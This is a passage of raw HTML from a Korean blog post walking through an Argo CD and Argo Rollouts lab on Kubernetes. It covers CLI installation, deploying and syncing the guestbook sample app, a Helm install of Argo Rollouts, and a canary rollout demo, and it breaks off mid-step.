this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2030&quot; height=&quot;154&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.50.48.png&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Git Repo화면에서 replicas 4로 변경 후 &amp;rarr; Commit 후 ArgoCD에서 REFRESH 클릭 후 Sync 후 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.52.54.png&quot; data-origin-width=&quot;2224&quot; data-origin-height=&quot;1226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biZA1s/btsGG5FOxsa/O1lNURj7KKL4KYpRkDR5T0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biZA1s/btsGG5FOxsa/O1lNURj7KKL4KYpRkDR5T0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biZA1s/btsGG5FOxsa/O1lNURj7KKL4KYpRkDR5T0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiZA1s%2FbtsGG5FOxsa%2FO1lNURj7KKL4KYpRkDR5T0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2224&quot; height=&quot;1226&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.52.54.png&quot; data-origin-width=&quot;2224&quot; data-origin-height=&quot;1226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습 리소스 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.53.35.png&quot; data-origin-width=&quot;2160&quot; data-origin-height=&quot;1330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ISWXf/btsGHi5Yqmn/xi0lfiCKQa25DU61fdK3V0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ISWXf/btsGHi5Yqmn/xi0lfiCKQa25DU61fdK3V0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ISWXf/btsGHi5Yqmn/xi0lfiCKQa25DU61fdK3V0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FISWXf%2FbtsGHi5Yqmn%2Fxi0lfiCKQa25DU61fdK3V0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2160&quot; height=&quot;1330&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.53.35.png&quot; data-origin-width=&quot;2160&quot; data-origin-height=&quot;1330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결론 : &lt;span data-token-index=&quot;1&quot;&gt;GitOps를 하려거든 대상(k8s)에서 변경하지 말고, 소스(git)에서 변경하자!&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;1&quot;&gt;Getting Started : Argo CD &lt;span data-token-index=&quot;1&quot;&gt;CLI&lt;/span&gt;, Sample Application&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Argo CD CLI&lt;/h4&gt;
&lt;pre id=&quot;code_1713272181899&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
curl -sSL -o argocd-linux-amd64 https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64
sudo install -m 555 argocd-linux-amd64 /usr/local/bin/argocd
rm -f argocd-linux-amd64

#
argocd version

#
argocd login argocd.$MyDomain
Username: admin
Password: ###
'admin:login' logged in successfully

#
kubectl config get-contexts -o name
admin@myeks.ap-northeast-2.eksctl.io
argocd cluster add admin@myeks.ap-northeast-2.eksctl.io
y 입력

#
argocd app list
NAME  CLUSTER  NAMESPACE  PROJECT  STATUS  HEALTH  SYNCPOLICY  CONDITIONS  REPO  PATH  TARGET&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;1&quot;&gt;Application 생성 with CLI&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1713272243814&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
kubectl config set-context --current --namespace=argocd
argocd app create guestbook --repo https://github.com/argoproj/argocd-example-apps.git --path guestbook --dest-server https://kubernetes.default.svc --dest-namespace default

#
argocd app list
NAME              CLUSTER                         NAMESPACE  PROJECT  STATUS     HEALTH   SYNCPOLICY  CONDITIONS  REPO                                                 PATH       TARGET
argocd/guestbook  https://kubernetes.default.svc  default    default  OutOfSync  Missing  &amp;lt;none&amp;gt;      &amp;lt;none&amp;gt;      https://github.com/argoproj/argocd-example-apps.git  guestbook&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.57.42.png&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;998&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1eUpl/btsGG0LnKbu/Q6Mw804T49b6aKKPAJlmZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1eUpl/btsGG0LnKbu/Q6Mw804T49b6aKKPAJlmZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1eUpl/btsGG0LnKbu/Q6Mw804T49b6aKKPAJlmZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1eUpl%2FbtsGG0LnKbu%2FQ6Mw804T49b6aKKPAJlmZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1584&quot; height=&quot;998&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.57.42.png&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;998&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Sync (Deploy) The Application&lt;/h4&gt;
&lt;pre id=&quot;code_1713272301074&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
argocd app get guestbook
...

# 모니터링
watch -d kubectl get pod,svc,ep

#
argocd app sync guestbook&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.58.58.png&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhqhYt/btsGG0R9cEh/RnAMuOxdYKADs0FPVOTr0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhqhYt/btsGG0R9cEh/RnAMuOxdYKADs0FPVOTr0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhqhYt/btsGG0R9cEh/RnAMuOxdYKADs0FPVOTr0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhqhYt%2FbtsGG0R9cEh%2FRnAMuOxdYKADs0FPVOTr0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1642&quot; height=&quot;1036&quot; data-filename=&quot;스크린샷 2024-04-16 오후 9.58.58.png&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;app 삭제&lt;/h4&gt;
&lt;pre id=&quot;code_1713272364910&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;argocd app delete guestbook
Are you sure you want to delete 'guestbook' and all its resources? [y/n] y

# ns default 로 변경
kubectl ns default&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Argo Rollouts&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;소개&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;&lt;b&gt;blue-green&lt;/b&gt;, &lt;b&gt;canary&lt;/b&gt;, canary analysis, experimentation, progressive delivery features과 같은 advanced deployment 기능을 쿠버네티스에 제공하는 쿠버네티스 컨트롤러이자 CRD 세트입니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1; text-align: left;&quot; href=&quot;https://kubernetes.io/docs/concepts/services-networking/ingress/&quot;&gt;ingress controllers&lt;/a&gt;, service meshes와 통합되어 트래픽 조절 기능을 활용하여 업데이트 중에 트래픽을 새 버전으로 점진적으로 전환합니다. 또한 롤아웃은 다양한 공급자의 지표를 쿼리하고 해석하여 주요 KPI를 확인하고 업데이트 중에 automated promotion 또는 롤백을 추진할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;세분화되고 가중치가 부여된 트래픽 이동&lt;/li&gt;
&lt;li&gt;자동 롤백 및 프로모션&lt;/li&gt;
&lt;li&gt;수동 판단&lt;/li&gt;
&lt;li&gt;사용자 정의 가능한 지표 쿼리 및 비즈니스 KPI 분석&lt;/li&gt;
&lt;li&gt;Ingress controller 통합: NGINX, ALB, Apache APISIX&lt;/li&gt;
&lt;li&gt;서비스 메시 통합: Istio, Linkerd, SMI&lt;/li&gt;
&lt;li&gt;여러 공급자 동시 사용: SMI + NGINX, Istio + ALB 등&lt;/li&gt;
&lt;li&gt;Metric Provider 통합: Prometheus, Wavefront, Kayenta, Web, Kubernetes Jobs, Datadog, New Relic, Graphite, InfluxDB&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;네이티브 쿠버네티스 배포 Object는 업데이트 중에 기본 안전 보장 세트(readiness probes)를 제공하는 RollingUpdate 전략을 지원합니다. 그러나 롤링 업데이트 전략에는 다음과 같은 많은 제한 사항이 있습니다.&lt;br /&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;롤아웃 속도에 대한 제어가 거의 없습니다.&lt;/li&gt;
&lt;li&gt;새 버전으로의 트래픽 흐름을 제어할 수 없습니다.&lt;/li&gt;
&lt;li&gt;Readiness probe는 심층 검사, 스트레스 검사 또는 일회성 검사에 적합하지 않습니다.&lt;/li&gt;
&lt;li&gt;업데이트를 확인하기 위해 external metrics을 쿼리하는 기능이 없습니다.&lt;/li&gt;
&lt;li&gt;진행을&amp;nbsp;중지할&amp;nbsp;수&amp;nbsp;있지만&amp;nbsp;자동으로&amp;nbsp;업데이트를&amp;nbsp;중단하고&amp;nbsp;롤백할&amp;nbsp;수는&amp;nbsp;없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;특징&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span data-token-index=&quot;1&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Blue-Green&lt;/span&gt; update strategy&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span data-token-index=&quot;1&quot;&gt;블루-그린 배포(때때로 레드-블랙이라고도 불립니다.)에서는 애플리케이션의 새 버전과 이전 버전이 동시에 배포됩니다. 이 기간 동안에는 이전 버전의 애플리케이션만 프로덕션 트래픽을 수신합니다. 이를 통해 개발자는 실시간 트래픽을 새 버전으로 전환하기 전에 새 버전에 대해 테스트를 실행할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;776&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TuIKw/btsGIVpZdos/dAnAskIw7mYSXzhZ33OKMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TuIKw/btsGIVpZdos/dAnAskIw7mYSXzhZ33OKMk/img.png&quot; data-alt=&quot;https://argoproj.github.io/argo-rollouts/concepts/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TuIKw/btsGIVpZdos/dAnAskIw7mYSXzhZ33OKMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTuIKw%2FbtsGIVpZdos%2FdAnAskIw7mYSXzhZ33OKMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;776&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;776&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://argoproj.github.io/argo-rollouts/concepts/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Canary update strategy
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Ingress나 Istio와 연결이 되어 퍼센트와 관련된 디테일한 전략을 활용할 수 있습니다.&lt;/li&gt;
&lt;li&gt;사용자의 하위 집합을 새 버전의 애플리케이션에 노출하는 동시에 나머지 트래픽을 이전 버전에 제공합니다. 새 버전이 올바른 것으로 확인되면 새 버전이 이전 버전을 점차적으로 대체할 수 있습니다. NGINX 및 Istio와 같은 수신 컨트롤러 및 서비스 메시는 기본적으로 사용 가능한 것보다 카나리아에 대한 더 정교한 트래픽 조절 패턴을 지원합니다. (예: 매우 세분화된 트래픽 분할 달성 또는 HTTP 헤더 기반 분할 달성)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;776&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wzAYj/btsGJeivSkj/DSPrSAOBrm5wSNPKhyWK41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wzAYj/btsGJeivSkj/DSPrSAOBrm5wSNPKhyWK41/img.png&quot; data-alt=&quot;https://argoproj.github.io/argo-rollouts/concepts/ALT&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wzAYj/btsGJeivSkj/DSPrSAOBrm5wSNPKhyWK41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwzAYj%2FbtsGJeivSkj%2FDSPrSAOBrm5wSNPKhyWK41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;776&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;776&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://argoproj.github.io/argo-rollouts/concepts/ALT&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Architecture&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c30DtU/btsGJqbWMDy/FmFIfIEsMdrZdbyAAK5Gk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c30DtU/btsGJqbWMDy/FmFIfIEsMdrZdbyAAK5Gk1/img.png&quot; data-alt=&quot;https://argoproj.github.io/argo-rollouts/architecture/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c30DtU/btsGJqbWMDy/FmFIfIEsMdrZdbyAAK5Gk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc30DtU%2FbtsGJqbWMDy%2FFmFIfIEsMdrZdbyAAK5Gk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1042&quot; height=&quot;502&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://argoproj.github.io/argo-rollouts/architecture/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Argo Rollouts controller&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Rollout resource&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Replica sets for old and new version&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Ingress/Service&amp;nbsp;&lt;/li&gt;
&lt;li&gt;AnalysisTemplate and AnalysisRun&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Metric providers&amp;nbsp;&lt;/li&gt;
&lt;li&gt;CLI and UI&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설치&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;a href=&quot;https://artifacthub.io/packages/helm/argo/argo-rollouts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Helm&amp;nbsp;&lt;/a&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1713408250867&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
cat &amp;lt;&amp;lt;EOT &amp;gt; argorollouts-values.yaml
dashboard:
  enabled: true
  ingress:
    enabled: true
    ingressClassName: alb
    hosts:
      - argorollouts.$MyDomain
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/backend-protocol: HTTP
      alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:80}, {&quot;HTTPS&quot;:443}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT

kubectl create ns argo-rollouts
helm install argo-rollouts argo/argo-rollouts --version 2.35.1 -f argorollouts-values.yaml --namespace argo-rollouts

# 확인
kubectl get all -n argo-rollouts
kubectl get crd | grep argo&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;rollouts 대시보드 - 네임스페이스 별 확인 가능&lt;/h4&gt;
&lt;pre id=&quot;code_1713408327479&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://argorollouts.&amp;lt;자신의 도메인&amp;gt;/rollouts/&amp;lt;네임 스페이스&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;rollouts CLI&lt;/h4&gt;
&lt;pre id=&quot;code_1713408399493&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
curl -LO https://github.com/argoproj/argo-rollouts/releases/download/v1.6.4/kubectl-argo-rollouts-linux-amd64
chmod +x ./kubectl-argo-rollouts-linux-amd64
mv ./kubectl-argo-rollouts-linux-amd64 /usr/local/bin/kubectl-argo-rollouts

# 설치 확인
kubectl argo rollouts version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;a href=&quot;https://argoproj.github.io/argo-rollouts/getting-started/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Getting Started&lt;/a&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Deploying a Rollout&lt;/h4&gt;
&lt;pre id=&quot;code_1713408489535&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;spec:
  replicas: 5
  strategy:
    canary:
      steps:
      - setWeight: 20
      - pause: {}
      - setWeight: 40
      - pause: {duration: 10}
      - setWeight: 60
      - pause: {duration: 10}
      - setWeight: 80
      - pause: {duration: 10}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1713408496721&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Run the following command to deploy the initial Rollout and Service:
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/rollout.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/service.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CLI vs UI 확인&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLI&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713408835919&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl argo rollouts get rollout rollouts-demo
Name:            rollouts-demo
Namespace:       argocd
Status:          ◌ Progressing
Message:         updated replicas are still becoming available
Strategy:        Canary
  Step:          8/8
  SetWeight:     100
  ActualWeight:  100
Images:          argoproj/rollouts-demo:blue (stable)
Replicas:
  Desired:       5
  Current:       5
  Updated:       5
  Ready:         4
  Available:     4

NAME                                       KIND        STATUS               AGE   INFO
⟳ rollouts-demo                            Rollout     ◌ Progressing        113s  
└──# revision:1                                                                   
   └──⧉ rollouts-demo-687d76d795           ReplicaSet  ◌ Progressing        113s  stable
      ├──□ rollouts-demo-687d76d795-bqtp6  Pod         ◌ ContainerCreating  113s  ready:0/1
      ├──□ rollouts-demo-687d76d795-hz5v8  Pod         ✔ Running            113s  ready:1/1
      ├──□ rollouts-demo-687d76d795-vjzfz  Pod         ✔ Running            113s  ready:1/1
      ├──□ rollouts-demo-687d76d795-vvdtj  Pod         ✔ Running            113s  ready:1/1
      └──□ rollouts-demo-687d76d795-xjx5v  Pod         ✔ Running            113s  ready:1/1

kubectl argo rollouts get rollout rollouts-demo --watch&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UI&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713413300514&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://argorollouts.dns4u.link/rollouts/default&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.06.45.png&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;821&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NDbkb/btsGGXWOJQ2/AF3vXm3JzUlm7t8XDcQjfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NDbkb/btsGGXWOJQ2/AF3vXm3JzUlm7t8XDcQjfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NDbkb/btsGGXWOJQ2/AF3vXm3JzUlm7t8XDcQjfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNDbkb%2FbtsGGXWOJQ2%2FAF3vXm3JzUlm7t8XDcQjfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1628&quot; height=&quot;821&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.06.45.png&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;821&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Updating a Rollout&lt;/h4&gt;
&lt;pre id=&quot;code_1713413407742&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
watch -d kubectl get pod -n argocd -l app=rollouts-demo -owide --show-labels

# Run the following command to update the rollouts-demo Rollout with the &quot;yellow&quot; version of the container:
